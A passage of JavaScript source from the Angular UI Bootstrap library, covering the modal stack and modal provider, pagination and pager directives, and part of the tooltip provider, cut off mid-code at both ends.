modalBodyClass = modalWindow.openedClass || OPENED_MODAL_CLASS; openedClasses.remove(modalBodyClass, modalInstance); var areAnyOpen = openedClasses.hasKey(modalBodyClass); appendToElement.toggleClass(modalBodyClass, areAnyOpen); if (!areAnyOpen && scrollbarPadding && scrollbarPadding.heightOverflow && scrollbarPadding.scrollbarWidth) { if (scrollbarPadding.originalRight) { appendToElement.css({paddingRight: scrollbarPadding.originalRight + 'px'}); } else { appendToElement.css({paddingRight: ''}); } scrollbarPadding = null; } toggleTopWindowClass(true); }, modalWindow.closedDeferred); checkRemoveBackdrop(); //move focus to specified element if available, or else to body if (elementToReceiveFocus && elementToReceiveFocus.focus) { elementToReceiveFocus.focus(); } else if (appendToElement.focus) { appendToElement.focus(); } } // Add or remove "windowTopClass" from the top window in the stack function toggleTopWindowClass(toggleSwitch) { var modalWindow; if (openedWindows.length() > 0) { modalWindow = openedWindows.top().value; modalWindow.modalDomEl.toggleClass(modalWindow.windowTopClass || '', toggleSwitch); } } function checkRemoveBackdrop() { //remove backdrop if no longer needed if (backdropDomEl && backdropIndex() === -1) { var backdropScopeRef = backdropScope; removeAfterAnimate(backdropDomEl, backdropScope, function() { backdropScopeRef = null; }); backdropDomEl = undefined; backdropScope = undefined; } } function removeAfterAnimate(domEl, scope, done, closedDeferred) { var asyncDeferred; var asyncPromise = null; var setIsAsync = function() { if (!asyncDeferred) { asyncDeferred = $q.defer(); asyncPromise = asyncDeferred.promise; } return function asyncDone() { asyncDeferred.resolve(); }; }; scope.$broadcast($modalStack.NOW_CLOSING_EVENT, setIsAsync); // Note that it's intentional that asyncPromise might be null. // That's when setIsAsync has not been called during the // NOW_CLOSING_EVENT broadcast. return $q.when(asyncPromise).then(afterAnimating); function afterAnimating() { if (afterAnimating.done) { return; } afterAnimating.done = true; $animate.leave(domEl).then(function() { domEl.remove(); if (closedDeferred) { closedDeferred.resolve(); } }); scope.$destroy(); if (done) { done(); } } } $document.on('keydown', keydownListener); $rootScope.$on('$destroy', function() { $document.off('keydown', keydownListener); }); function keydownListener(evt) { if (evt.isDefaultPrevented()) { return evt; } var modal = openedWindows.top(); if (modal) { switch (evt.which) { case 27: { if (modal.value.keyboard) { evt.preventDefault(); $rootScope.$apply(function() { $modalStack.dismiss(modal.key, 'escape key press'); }); } break; } case 9: { var list = $modalStack.loadFocusElementList(modal); var focusChanged = false; if (evt.shiftKey) { if ($modalStack.isFocusInFirstItem(evt, list) || $modalStack.isModalFocused(evt, modal)) { focusChanged = $modalStack.focusLastFocusableElement(list); } } else { if ($modalStack.isFocusInLastItem(evt, list)) { focusChanged = $modalStack.focusFirstFocusableElement(list); } } if (focusChanged) { evt.preventDefault(); evt.stopPropagation(); } break; } } } } $modalStack.open = function(modalInstance, modal) { var modalOpener = $document[0].activeElement, modalBodyClass = modal.openedClass || OPENED_MODAL_CLASS; toggleTopWindowClass(false); // Store the current top first, to determine what index we ought to use // for the current top modal previousTopOpenedModal = openedWindows.top(); openedWindows.add(modalInstance, { deferred: modal.deferred, renderDeferred: modal.renderDeferred, closedDeferred: modal.closedDeferred, modalScope: modal.scope, backdrop: modal.backdrop, keyboard: modal.keyboard, openedClass: modal.openedClass, windowTopClass: modal.windowTopClass, animation: modal.animation, appendTo: modal.appendTo }); openedClasses.put(modalBodyClass, modalInstance); var appendToElement = modal.appendTo, currBackdropIndex = backdropIndex(); if (!appendToElement.length) { throw new Error('appendTo element not found. Make sure that the element passed is in DOM.'); } if (currBackdropIndex >= 0 && !backdropDomEl) { backdropScope = $rootScope.$new(true); backdropScope.modalOptions = modal; backdropScope.index = currBackdropIndex; backdropDomEl = angular.element('<div uib-modal-backdrop="modal-backdrop"></div>'); backdropDomEl.attr('backdrop-class', modal.backdropClass); if (modal.animation) { backdropDomEl.attr('modal-animation', 'true'); } $compile(backdropDomEl)(backdropScope); $animate.enter(backdropDomEl, appendToElement); scrollbarPadding = $uibPosition.scrollbarPadding(appendToElement); if (scrollbarPadding.heightOverflow && scrollbarPadding.scrollbarWidth) { appendToElement.css({paddingRight: scrollbarPadding.right + 'px'}); } } // Set the top modal index based on the index of the previous top modal topModalIndex = previousTopOpenedModal ? parseInt(previousTopOpenedModal.value.modalDomEl.attr('index'), 10) + 1 : 0; var angularDomEl = angular.element('<div uib-modal-window="modal-window"></div>'); angularDomEl.attr({ 'template-url': modal.windowTemplateUrl, 'window-class': modal.windowClass, 'window-top-class': modal.windowTopClass, 'size': modal.size, 'index': topModalIndex, 'animate': 'animate' }).html(modal.content); if (modal.animation) { angularDomEl.attr('modal-animation', 'true'); } appendToElement.addClass(modalBodyClass); $animate.enter($compile(angularDomEl)(modal.scope), appendToElement); openedWindows.top().value.modalDomEl = angularDomEl; openedWindows.top().value.modalOpener = modalOpener; }; function broadcastClosing(modalWindow, resultOrReason, closing) { return !modalWindow.value.modalScope.$broadcast('modal.closing', resultOrReason, closing).defaultPrevented; } $modalStack.close = function(modalInstance, result) { var modalWindow = openedWindows.get(modalInstance); if (modalWindow && broadcastClosing(modalWindow, result, true)) { modalWindow.value.modalScope.$$uibDestructionScheduled = true; modalWindow.value.deferred.resolve(result); removeModalWindow(modalInstance, modalWindow.value.modalOpener); return true; } return !modalWindow; }; $modalStack.dismiss = function(modalInstance, reason) { var modalWindow = openedWindows.get(modalInstance); if (modalWindow && broadcastClosing(modalWindow, reason, false)) { modalWindow.value.modalScope.$$uibDestructionScheduled = true; modalWindow.value.deferred.reject(reason); removeModalWindow(modalInstance, modalWindow.value.modalOpener); return true; } return !modalWindow; }; $modalStack.dismissAll = function(reason) { var topModal = this.getTop(); while (topModal && this.dismiss(topModal.key, reason)) { topModal = this.getTop(); } }; $modalStack.getTop = function() { return openedWindows.top(); }; $modalStack.modalRendered = function(modalInstance) { var modalWindow = openedWindows.get(modalInstance); if (modalWindow) { modalWindow.value.renderDeferred.resolve(); } }; $modalStack.focusFirstFocusableElement = function(list) { if (list.length > 0) { list[0].focus(); return true; } return false; }; $modalStack.focusLastFocusableElement = function(list) { if (list.length > 0) { list[list.length - 1].focus(); return true; } return false; }; $modalStack.isModalFocused = function(evt, modalWindow) { if (evt && modalWindow) { var modalDomEl = modalWindow.value.modalDomEl; if (modalDomEl && modalDomEl.length) { return (evt.target || evt.srcElement) === modalDomEl[0]; } } return false; }; $modalStack.isFocusInFirstItem = function(evt, list) { if (list.length > 0) { return (evt.target || evt.srcElement) === list[0]; } return false; }; $modalStack.isFocusInLastItem = function(evt, list) { if (list.length > 0) { return (evt.target || evt.srcElement) === list[list.length - 1]; } return false; }; $modalStack.loadFocusElementList = function(modalWindow) { if (modalWindow) { var modalDomE1 = modalWindow.value.modalDomEl; if (modalDomE1 && modalDomE1.length) { var elements = modalDomE1[0].querySelectorAll(tabableSelector); return elements ? Array.prototype.filter.call(elements, function(element) { return isVisible(element); }) : elements; } } }; return $modalStack; }]) .provider('$uibModal', function() { var $modalProvider = { options: { animation: true, backdrop: true, //can also be false or 'static' keyboard: true }, $get: ['$rootScope', '$q', '$document', '$templateRequest', '$controller', '$uibResolve', '$uibModalStack', function ($rootScope, $q, $document, $templateRequest, $controller, $uibResolve, $modalStack) { var $modal = {}; function getTemplatePromise(options) { return options.template ? $q.when(options.template) : $templateRequest(angular.isFunction(options.templateUrl) ? options.templateUrl() : options.templateUrl); } var promiseChain = null; $modal.getPromiseChain = function() { return promiseChain; }; $modal.open = function(modalOptions) { var modalResultDeferred = $q.defer(); var modalOpenedDeferred = $q.defer(); var modalClosedDeferred = $q.defer(); var modalRenderDeferred = $q.defer(); //prepare an instance of a modal to be injected into controllers and returned to a caller var modalInstance = { result: modalResultDeferred.promise, opened: modalOpenedDeferred.promise, closed: modalClosedDeferred.promise, rendered: modalRenderDeferred.promise, close: function (result) { return $modalStack.close(modalInstance, result); }, dismiss: function (reason) { return $modalStack.dismiss(modalInstance, reason); } }; //merge and clean up options modalOptions = angular.extend({}, $modalProvider.options, modalOptions); modalOptions.resolve = modalOptions.resolve || {}; modalOptions.appendTo = modalOptions.appendTo || $document.find('body').eq(0); //verify options if (!modalOptions.template && !modalOptions.templateUrl) { throw new Error('One of template or templateUrl options is required.'); } var templateAndResolvePromise = $q.all([getTemplatePromise(modalOptions), $uibResolve.resolve(modalOptions.resolve, {}, null, null)]); function resolveWithTemplate() { return templateAndResolvePromise; } // Wait for the resolution of the existing promise chain. // Then switch to our own combined promise dependency (regardless of how the previous modal fared). // Then add to $modalStack and resolve opened. // Finally clean up the chain variable if no subsequent modal has overwritten it. var samePromise; samePromise = promiseChain = $q.all([promiseChain]) .then(resolveWithTemplate, resolveWithTemplate) .then(function resolveSuccess(tplAndVars) { var providedScope = modalOptions.scope || $rootScope; var modalScope = providedScope.$new(); modalScope.$close = modalInstance.close; modalScope.$dismiss = modalInstance.dismiss; modalScope.$on('$destroy', function() { if (!modalScope.$$uibDestructionScheduled) { modalScope.$dismiss('$uibUnscheduledDestruction'); } }); var ctrlInstance, ctrlInstantiate, ctrlLocals = {}; //controllers if (modalOptions.controller) { ctrlLocals.$scope = modalScope; ctrlLocals.$scope.$resolve = {}; ctrlLocals.$uibModalInstance = modalInstance; angular.forEach(tplAndVars[1], function(value, key) { ctrlLocals[key] = value; ctrlLocals.$scope.$resolve[key] = value; }); // the third param will make the controller instantiate later,private api // @see https://github.com/angular/angular.js/blob/master/src/ng/controller.js#L126 ctrlInstantiate = $controller(modalOptions.controller, ctrlLocals, true, modalOptions.controllerAs); if (modalOptions.controllerAs && modalOptions.bindToController) { ctrlInstance = ctrlInstantiate.instance; ctrlInstance.$close = modalScope.$close; ctrlInstance.$dismiss = modalScope.$dismiss; angular.extend(ctrlInstance, { $resolve: ctrlLocals.$scope.$resolve }, providedScope); } ctrlInstance = ctrlInstantiate(); if (angular.isFunction(ctrlInstance.$onInit)) { ctrlInstance.$onInit(); } } $modalStack.open(modalInstance, { scope: modalScope, deferred: modalResultDeferred, renderDeferred: modalRenderDeferred, closedDeferred: modalClosedDeferred, content: tplAndVars[0], animation: modalOptions.animation, backdrop: modalOptions.backdrop, keyboard: modalOptions.keyboard, backdropClass: modalOptions.backdropClass, windowTopClass: modalOptions.windowTopClass, windowClass: modalOptions.windowClass, windowTemplateUrl: modalOptions.windowTemplateUrl, size: modalOptions.size, openedClass: modalOptions.openedClass, appendTo: modalOptions.appendTo }); modalOpenedDeferred.resolve(true); }, function resolveError(reason) { modalOpenedDeferred.reject(reason); modalResultDeferred.reject(reason); })['finally'](function() { if (promiseChain === samePromise) { promiseChain = null; } }); return modalInstance; }; return $modal; } ] }; return $modalProvider; }); angular.module('ui.bootstrap.paging', []) /** * Helper internal service for generating common controller code between the * pager and pagination components */ .factory('uibPaging', ['$parse', function($parse) { return { create: function(ctrl, $scope, $attrs) { ctrl.setNumPages = $attrs.numPages ? $parse($attrs.numPages).assign : angular.noop; ctrl.ngModelCtrl = { $setViewValue: angular.noop }; // nullModelCtrl ctrl._watchers = []; ctrl.init = function(ngModelCtrl, config) { ctrl.ngModelCtrl = ngModelCtrl; ctrl.config = config; ngModelCtrl.$render = function() { ctrl.render(); }; if ($attrs.itemsPerPage) { ctrl._watchers.push($scope.$parent.$watch($attrs.itemsPerPage, function(value) { ctrl.itemsPerPage = parseInt(value, 10); $scope.totalPages = ctrl.calculateTotalPages(); ctrl.updatePage(); })); } else { ctrl.itemsPerPage = config.itemsPerPage; } $scope.$watch('totalItems', function(newTotal, oldTotal) { if (angular.isDefined(newTotal) || newTotal !== oldTotal) { $scope.totalPages = ctrl.calculateTotalPages(); ctrl.updatePage(); } }); }; ctrl.calculateTotalPages = function() { var totalPages = ctrl.itemsPerPage < 1 ? 1 : Math.ceil($scope.totalItems / ctrl.itemsPerPage); return Math.max(totalPages || 0, 1); }; ctrl.render = function() { $scope.page = parseInt(ctrl.ngModelCtrl.$viewValue, 10) || 1; }; $scope.selectPage = function(page, evt) { if (evt) { evt.preventDefault(); } var clickAllowed = !$scope.ngDisabled || !evt; if (clickAllowed && $scope.page !== page && page > 0 && page <= $scope.totalPages) { if (evt && evt.target) { evt.target.blur(); } ctrl.ngModelCtrl.$setViewValue(page); ctrl.ngModelCtrl.$render(); } }; $scope.getText = function(key) { return $scope[key + 'Text'] || ctrl.config[key + 'Text']; }; $scope.noPrevious = function() { return $scope.page === 1; }; $scope.noNext = function() { return $scope.page === $scope.totalPages; }; ctrl.updatePage = function() { ctrl.setNumPages($scope.$parent, $scope.totalPages); // Readonly variable if ($scope.page > $scope.totalPages) { $scope.selectPage($scope.totalPages); } else { ctrl.ngModelCtrl.$render(); } }; $scope.$on('$destroy', function() { while (ctrl._watchers.length) { ctrl._watchers.shift()(); } }); } }; }]); angular.module('ui.bootstrap.pager', ['ui.bootstrap.paging']) .controller('UibPagerController', ['$scope', '$attrs', 'uibPaging', 'uibPagerConfig', function($scope, $attrs, uibPaging, uibPagerConfig) { $scope.align = angular.isDefined($attrs.align) ? $scope.$parent.$eval($attrs.align) : uibPagerConfig.align; uibPaging.create(this, $scope, $attrs); }]) .constant('uibPagerConfig', { itemsPerPage: 10, previousText: '« Previous', nextText: 'Next »', align: true }) .directive('uibPager', ['uibPagerConfig', function(uibPagerConfig) { return { scope: { totalItems: '=', previousText: '@', nextText: '@', ngDisabled: '=' }, require: ['uibPager', '?ngModel'], controller: 'UibPagerController', controllerAs: 'pager', templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/pager/pager.html'; }, replace: true, link: function(scope, element, attrs, ctrls) { var paginationCtrl = ctrls[0], ngModelCtrl = ctrls[1]; if (!ngModelCtrl) { return; // do nothing if no ng-model } paginationCtrl.init(ngModelCtrl, uibPagerConfig); } }; }]); angular.module('ui.bootstrap.pagination', ['ui.bootstrap.paging']) .controller('UibPaginationController', ['$scope', '$attrs', '$parse', 'uibPaging', 'uibPaginationConfig', function($scope, $attrs, $parse, uibPaging, uibPaginationConfig) { var ctrl = this; // Setup configuration parameters var maxSize = angular.isDefined($attrs.maxSize) ? $scope.$parent.$eval($attrs.maxSize) : uibPaginationConfig.maxSize, rotate = angular.isDefined($attrs.rotate) ? $scope.$parent.$eval($attrs.rotate) : uibPaginationConfig.rotate, forceEllipses = angular.isDefined($attrs.forceEllipses) ? $scope.$parent.$eval($attrs.forceEllipses) : uibPaginationConfig.forceEllipses, boundaryLinkNumbers = angular.isDefined($attrs.boundaryLinkNumbers) ? $scope.$parent.$eval($attrs.boundaryLinkNumbers) : uibPaginationConfig.boundaryLinkNumbers, pageLabel = angular.isDefined($attrs.pageLabel) ? function(idx) { return $scope.$parent.$eval($attrs.pageLabel, {$page: idx}); } : angular.identity; $scope.boundaryLinks = angular.isDefined($attrs.boundaryLinks) ? $scope.$parent.$eval($attrs.boundaryLinks) : uibPaginationConfig.boundaryLinks; $scope.directionLinks = angular.isDefined($attrs.directionLinks) ? $scope.$parent.$eval($attrs.directionLinks) : uibPaginationConfig.directionLinks; uibPaging.create(this, $scope, $attrs); if ($attrs.maxSize) { ctrl._watchers.push($scope.$parent.$watch($parse($attrs.maxSize), function(value) { maxSize = parseInt(value, 10); ctrl.render(); })); } // Create page object used in template function makePage(number, text, isActive) { return { number: number, text: text, active: isActive }; } function getPages(currentPage, totalPages) { var pages = []; // Default page limits var startPage = 1, endPage = totalPages; var isMaxSized = angular.isDefined(maxSize) && maxSize < totalPages; // recompute if maxSize if (isMaxSized) { if (rotate) { // Current page is displayed in the middle of the visible ones startPage = Math.max(currentPage - Math.floor(maxSize / 2), 1); endPage = startPage + maxSize - 1; // Adjust if limit is exceeded if (endPage > totalPages) { endPage = totalPages; startPage = endPage - maxSize + 1; } } else { // Visible pages are paginated with maxSize startPage = (Math.ceil(currentPage / maxSize) - 1) * maxSize + 1; // Adjust last page if limit is exceeded endPage = Math.min(startPage + maxSize - 1, totalPages); } } // Add page number links for (var number = startPage; number <= endPage; number++) { var page = makePage(number, pageLabel(number), number === currentPage); pages.push(page); } // Add links to move between page sets if (isMaxSized && maxSize > 0 && (!rotate || forceEllipses || boundaryLinkNumbers)) { if (startPage > 1) { if (!boundaryLinkNumbers || startPage > 3) { //need ellipsis for all options unless range is too close to beginning var previousPageSet = makePage(startPage - 1, '...', false); pages.unshift(previousPageSet); } if (boundaryLinkNumbers) { if (startPage === 3) { //need to replace ellipsis when the buttons would be sequential var secondPageLink = makePage(2, '2', false); pages.unshift(secondPageLink); } //add the first page var firstPageLink = makePage(1, '1', false); pages.unshift(firstPageLink); } } if (endPage < totalPages) { if (!boundaryLinkNumbers || endPage < totalPages - 2) { //need ellipsis for all options unless range is too close to end var nextPageSet = makePage(endPage + 1, '...', false); pages.push(nextPageSet); } if (boundaryLinkNumbers) { if (endPage === totalPages - 2) { //need to replace ellipsis when the buttons would be sequential var secondToLastPageLink = makePage(totalPages - 1, totalPages - 1, false); pages.push(secondToLastPageLink); } //add the last page var lastPageLink = makePage(totalPages, totalPages, false); pages.push(lastPageLink); } } } return pages; } var originalRender = this.render; this.render = function() { originalRender(); if ($scope.page > 0 && $scope.page <= $scope.totalPages) { $scope.pages = getPages($scope.page, $scope.totalPages); } }; }]) .constant('uibPaginationConfig', { itemsPerPage: 10, boundaryLinks: false, boundaryLinkNumbers: false, directionLinks: true, firstText: 'First', previousText: 'Previous', nextText: 'Next', lastText: 'Last', rotate: true, forceEllipses: false }) .directive('uibPagination', ['$parse', 'uibPaginationConfig', function($parse, uibPaginationConfig) { return { scope: { totalItems: '=', firstText: '@', previousText: '@', nextText: '@', lastText: '@', ngDisabled:'=' }, require: ['uibPagination', '?ngModel'], controller: 'UibPaginationController', controllerAs: 'pagination', templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/pagination/pagination.html'; }, replace: true, link: function(scope, element, attrs, ctrls) { var paginationCtrl = ctrls[0], ngModelCtrl = ctrls[1]; if (!ngModelCtrl) { return; // do nothing if no ng-model } paginationCtrl.init(ngModelCtrl, uibPaginationConfig); } }; }]); /** * The following features are still outstanding: animation as a * function, placement as a function, inside, support for more triggers than * just mouse enter/leave, html tooltips, and selector delegation. */ angular.module('ui.bootstrap.tooltip', ['ui.bootstrap.position', 'ui.bootstrap.stackedMap']) /** * The $tooltip service creates tooltip- and popover-like directives as well as * houses global options for them. */ .provider('$uibTooltip', function() { // The default options tooltip and popover. var defaultOptions = { placement: 'top', placementClassPrefix: '', animation: true, popupDelay: 0, popupCloseDelay: 0, useContentExp: false }; // Default hide triggers for each show trigger var triggerMap = { 'mouseenter': 'mouseleave', 'click': 'click', 'outsideClick': 'outsideClick', 'focus': 'blur', 'none': '' }; // The options specified to the provider globally. var globalOptions = {}; /** * `options({})` allows global configuration of all tooltips in the * application. * * var app = angular.module( 'App', ['ui.bootstrap.tooltip'], function( $tooltipProvider ) { * // place tooltips left instead of top by default * $tooltipProvider.options( { placement: 'left' } ); * }); */ this.options = function(value) { angular.extend(globalOptions, value); }; /** * This allows you to extend the set of trigger mappings available. E.g.: * * $tooltipProvider.setTriggers( { 'openTrigger': 'closeTrigger' } ); */ this.setTriggers = function setTriggers(triggers) { angular.extend(triggerMap, triggers); }; /** * This is a helper function for translating camel-case to snake_case. */ function snake_case(name) { var regexp = /[A-Z]/g; var separator = '-'; return name.replace(regexp, function(letter, pos) { return (pos ? separator : '') + letter.toLowerCase(); }); } /** * Returns the actual instance of the $tooltip service. * TODO support multiple triggers */ this.$get = ['$window', '$compile', '$timeout', '$document', '$uibPosition', '$interpolate', '$rootScope', '$parse', '$$stackedMap', function($window, $compile, $timeout, $document, $position, $interpolate, $rootScope, $parse, $$stackedMap) { var openedTooltips = $$stackedMap.createNew(); $document.on('keypress', keypressListener); $rootScope.$on('$destroy', function() { $document.off('keypress', keypressListener); }); function keypressListener(e) { if (e.which === 27) { var last = openedTooltips.top(); if (last) { last.value.close(); openedTooltips.removeTop(); last = null; } } } return function $tooltip(ttType, prefix, defaultTriggerShow, options) { options = angular.extend({}, defaultOptions, globalOptions, options); /** * Returns an object of show and hide triggers. * * If a trigger is supplied, * it is used to show the tooltip; otherwise, it will use the `trigger` * option passed to the `$tooltipProvider.options` method; else it will * default to the trigger supplied to this directive factory. * * The hide trigger is based on the show trigger. If the `trigger` option * was passed to the `$tooltipProvider.options` method, it will use the * mapped trigger from `triggerMap` or the passed trigger if the map is * undefined; otherwise, it uses the `triggerMap` value of the show * trigger; else it will just use the show trigger. */ function getTriggers(trigger) { var show = (trigger || options.trigger || defaultTriggerShow).split(' '); var hide = show.map(function(trigger) { return triggerMap[trigger] || trigger; }); return { show: show, hide: hide }; } var directiveName = snake_case(ttType); var startSym = $interpolate.startSymbol(); var endSym = $interpolate.endSymbol(); var template = '<div '+ directiveName + '-popup ' + 'uib-title="' + startSym + 'title' + endSym + '" ' + (options.useContentExp ? 'content-exp="contentExp()" ' : 'content="' + startSym + 'content' + endSym + '" ') + 'placement="' + startSym + 'placement' + endSym + '" ' + 'popup-class="' + startSym + 'popupClass' + endSym + '" ' + 'animation="animation" ' + 'is-open="isOpen" ' + 'origin-scope="origScope" ' + 'class="uib-position-measure"' + '>' + '</div>'; return { compile: function(tElem, tAttrs) { var tooltipLinker = $compile(template); return function link(scope, element, attrs, tooltipCtrl) { var tooltip; var tooltipLinkedScope; var transitionTimeout; var showTimeout; var hideTimeout; var positionTimeout; var appendToBody = angular.isDefined(options.appendToBody) ? options.appendToBody : false; var triggers = getTriggers(undefined); var hasEnableExp = angular.isDefined(attrs[prefix + 'Enable']); var ttScope = scope.$new(true); var repositionScheduled = false; var isOpenParse = angular.isDefined(attrs[prefix + 'IsOpen']) ? $parse(attrs[prefix + 'IsOpen']) : false; var contentParse = options.useContentExp ? $parse(attrs[ttType]) : false; var observers = []; var lastPlacement; var positionTooltip = function() { // check if tooltip exists and is not empty if (!tooltip || !tooltip.html()) { return; } if (!positionTimeout) { positionTimeout = $timeout(function() { var ttPosition = $position.positionElements(element, tooltip, ttScope.placement, appendToBody); tooltip.css({ top: ttPosition.top + 'px', left: ttPosition.left + 'px' }); if (!tooltip.hasClass(ttPosition.placement.split('-')[0])) { tooltip.removeClass(lastPlacement.split('-')[0]); tooltip.addClass(ttPosition.placement.split('-')[0]); } if (!tooltip.hasClass(options.placementClassPrefix + ttPosition.placement)) { tooltip.removeClass(options.placementClassPrefix + lastPlacement); tooltip.addClass(options.placementClassPrefix + ttPosition.placement); } // first time through tt element will have the // uib-position-measure class or if the placement // has changed we need to position the arrow. if (tooltip.hasClass('uib-position-measure')) { $position.positionArrow(tooltip, ttPosition.placement); tooltip.removeClass('uib-position-measure'); } else if (lastPlacement !== ttPosition.placement) { $position.positionArrow(tooltip, ttPosition.placement); } lastPlacement = ttPosition.placement; positionTimeout = null; }, 0, false); } }; // Set up the correct scope to allow transclusion later ttScope.origScope = scope; // By default, the tooltip is not open. // TODO add ability to start tooltip opened ttScope.isOpen = false; openedTooltips.add(ttScope, { close: hide }); function toggleTooltipBind() { if (!ttScope.isOpen) { showTooltipBind(); } else { hideTooltipBind(); } } // Show the tooltip with delay if specified, otherwise show it immediately function showTooltipBind() { if (hasEnableExp && !scope.$eval(attrs[prefix + 'Enable'])) { return; } cancelHide(); prepareTooltip(); if (ttScope.popupDelay) { // Do nothing if the tooltip was already scheduled to pop-up. // This happens if show is triggered multiple times before any hide is triggered. if (!showTimeout) { showTimeout = $timeout(show, ttScope.popupDelay, false); } } else { show(); } } function hideTooltipBind() { cancelShow(); if (ttScope.popupCloseDelay) { if (!hideTimeout) { hideTimeout = $timeout(hide, ttScope.popupCloseDelay, false); } } else { hide(); } } // Show the tooltip popup element. function show() { cancelShow(); cancelHide(); // Don't show empty tooltips. if (!ttScope.content) { return angular.noop; } createTooltip(); // And show the tooltip. ttScope.$evalAsync(function() { ttScope.isOpen = true; assignIsOpen(true); positionTooltip(); }); } function cancelShow() { if (showTimeout) { $timeout.cancel(showTimeout); showTimeout = null; } if (positionTimeout) { $timeout.cancel(positionTimeout); positionTimeout = null; } } // Hide the tooltip popup element. function hide() { if (!ttScope) { return; } // First things first: we don't show it anymore. ttScope.$evalAsync(function() { if (ttScope) { ttScope.isOpen = false; assignIsOpen(false); // And now we remove it from the DOM. However, if we have animation, we // need to wait for it to expire beforehand. // FIXME: this is a placeholder for a port of the transitions library. // The fade transition in TWBS is 150ms. if (ttScope.animation) { if (!transitionTimeout) { transitionTimeout = $timeout(removeTooltip, 150, false); } } else { removeTooltip(); } } }); } function cancelHide() { if (hideTimeout) { $timeout.cancel(hideTimeout); hideTimeout = null; } if (transitionTimeout) { $timeout.cancel(transitionTimeout); transitionTimeout = null; } } function createTooltip() { // There can only be one tooltip element per directive shown at once. if (tooltip) { return; } tooltipLinkedScope = ttScope.$new(); tooltip = tooltipLinker(tooltipLinkedScope, function(tooltip) { if (appendToBody) { $document.find('body').append(tooltip); } else { element.after(tooltip); } }); prepObservers(); } function removeTooltip() { cancelShow(); cancelHide(); unregisterObservers(); if (tooltip) { tooltip.remove(); tooltip = null; } if (tooltipLinkedScope) { tooltipLinkedScope.$destroy(); tooltipLinkedScope = null; } } /** * Set the initial scope values. Once * the tooltip is created, the observers * will be added to keep things in sync. */ function prepareTooltip() { ttScope.title = attrs[prefix + 'Title']; if (contentParse) { ttScope.content = contentParse(scope); } else { ttScope.content = attrs[ttType]; } ttScope.popupClass = attrs[prefix + 'Class']; ttScope.placement = angular.isDefined(attrs[prefix + 'Placement']) ? attrs[prefix + 'Placement'] : options.placement; var placement = $position.parsePlacement(ttScope.placement); lastPlacement = placement[1] ? placement[0] + '-' + placement[1] : placement[0]; var delay = parseInt(attrs[prefix + 'PopupDelay'], 10); var closeDelay = parseInt(attrs[prefix + 'PopupCloseDelay'], 10); ttScope.popupDelay = !isNaN(delay) ? delay : options.popupDelay; ttScope.popupCloseDelay = !isNaN(closeDelay) ? closeDelay : options.popupCloseDelay; } function assignIsOpen(isOpen) { if (isOpenParse && angular.isFunction(isOpenParse.assign)) { isOpenParse.assign(scope, isOpen); } } ttScope.contentExp = function() { return ttScope.content; }; /** * Observe the relevant attributes. */ attrs.$observe('disabled', function(val) { if (val) { cancelShow(); } if (val && ttScope.isOpen) { hide(); } }); if (isOpenParse) { scope.$watch(isOpenParse, function(val) { if (ttScope && !val === ttScope.isOpen) { toggleTooltipBind(); } }); } function prepObservers() { observers.length = 0; if (contentParse) { observers.push( scope.$watch(contentParse, function(val) { ttScope.content = val; if (!val && ttScope.isOpen) { hide(); } }) ); observers.push( tooltipLinkedScope.$watch(function() { if (!repositionScheduled) { repositionScheduled = true; tooltipLinkedScope.$$postDigest(function() { repositionScheduled = false; if (ttScope && ttScope.isOpen) { positionTooltip(); } }); } }) ); } else { observers.push( attrs.$observe(ttType, function(val) { ttScope.content = val; if (!val && ttScope.isOpen) { hide(); } else { positionTooltip(); } }) ); } observers.push( attrs.$observe(prefix + 'Title', function(val) { ttScope.title = val; if (ttScope.isOpen) { positionTooltip(); } }) ); observers.push( attrs.$observe(prefix + 'Placement', function(val) { ttScope.placement = val ? val : options.placement; if (ttScope.isOpen) { positionTooltip(); } }) ); } function unregisterObservers() { if (observers.length) { angular.forEach(observers, function(observer) { observer(); }); observers.length = 0; } } // hide tooltips/popovers for outsideClick trigger function bodyHideTooltipBind(e) { if (!ttScope || !ttScope.isOpen || !tooltip) { return; } // make sure the tooltip/popover link or tool tooltip/popover itself were not clicked if (!element[0].contains(e.target) && !tooltip[0].contains(e.target)) { hideTooltipBind(); } } var unregisterTriggers = function() { triggers.show.forEach(function(trigger) { if (trigger === 'outsideClick') { element.off('click', toggleTooltipBind); } else { element.off(trigger, showTooltipBind); element.off(trigger, toggleTooltipBind); } }); triggers.hide.forEach(function(trigger) { if (trigger === 'outsideClick') { $document.off('click', bodyHideTooltipBind); } else { element.off(trigger, hideTooltipBind); } }); }; function prepTriggers() { var val = attrs[prefix + 'Trigger']; unregisterTriggers(); triggers = getTriggers(val); if (triggers.show !== 'none') { triggers.show.forEach(function(trigger, idx) { if (trigger === 'outsideClick') { element.on('click', toggleTooltipBind); $document.on('click', bodyHideTooltipBind); } else if (trigger === triggers.hide[idx]) { element.on(trigger, toggleTooltipBind); } else if (trigger) { element.on(trigger, showTooltipBind); element.on(triggers.hide[idx], hideTooltipBind); } element.on('keypress', function(e) { if (e.which === 27) { hideTooltipBind(); } }); }); } } prepTriggers(); var animation = scope.$eval(attrs[prefix + 'Animation']); ttScope.animation = angular.isDefined(animation) ? !!animation : options.animation; var appendToBodyVal; var appendKey = prefix + 'AppendToBody'; if (appendKey in attrs && attrs[appendKey] === undefined) { appendToBodyVal = true; } else { appendToBodyVal = scope.$eval(attrs[appendKey]); } appendToBody = angular.isDefined(appendToBodyVal) ? appendToBodyVal : appendToBody; // Make sure tooltip is destroyed and removed. scope.$on('$destroy', function onDestroyTooltip() { unregisterTriggers(); removeTooltip(); openedTooltips.remove(ttScope); ttScope = null; }); }; } }; }; }]; }) // This is mostly ngInclude code but with a custom scope .directive('uibTooltipTemplateTransclude', [ '$animate', '$sce', '$compile', '$templateRequest', function ($animate, $sce, $compile, $templateRequest) { return { link: function(scope, elem, attrs) { var origScope = scope.$eval(attrs.tooltipTemplateTranscludeScope); var changeCounter = 0, currentScope, previousElement, currentElement; var cleanupLastIncludeContent = function() { if (previousElement) { previousElement.remove(); previousElement = null; } if (currentScope) { currentScope.$destroy(); currentScope = null; } if (currentElement) { $animate.leave(currentElement).then(function() { previousElement = null; }); previousElement = currentElement; currentElement = null; } }; scope.$watch($sce.parseAsResourceUrl(attrs.uibTooltipTemplateTransclude), function(src) { var thisChangeId = ++changeCounter; if (src) { //set the 2nd param to true to ignore the template request error so that the inner //contents and scope can be cleaned up. $templateRequest(src, true).then(function(response) { if (thisChangeId !== changeCounter) { return; } var newScope = origScope.$new(); var template = response; var clone = $compile(template)(newScope, function(clone) { 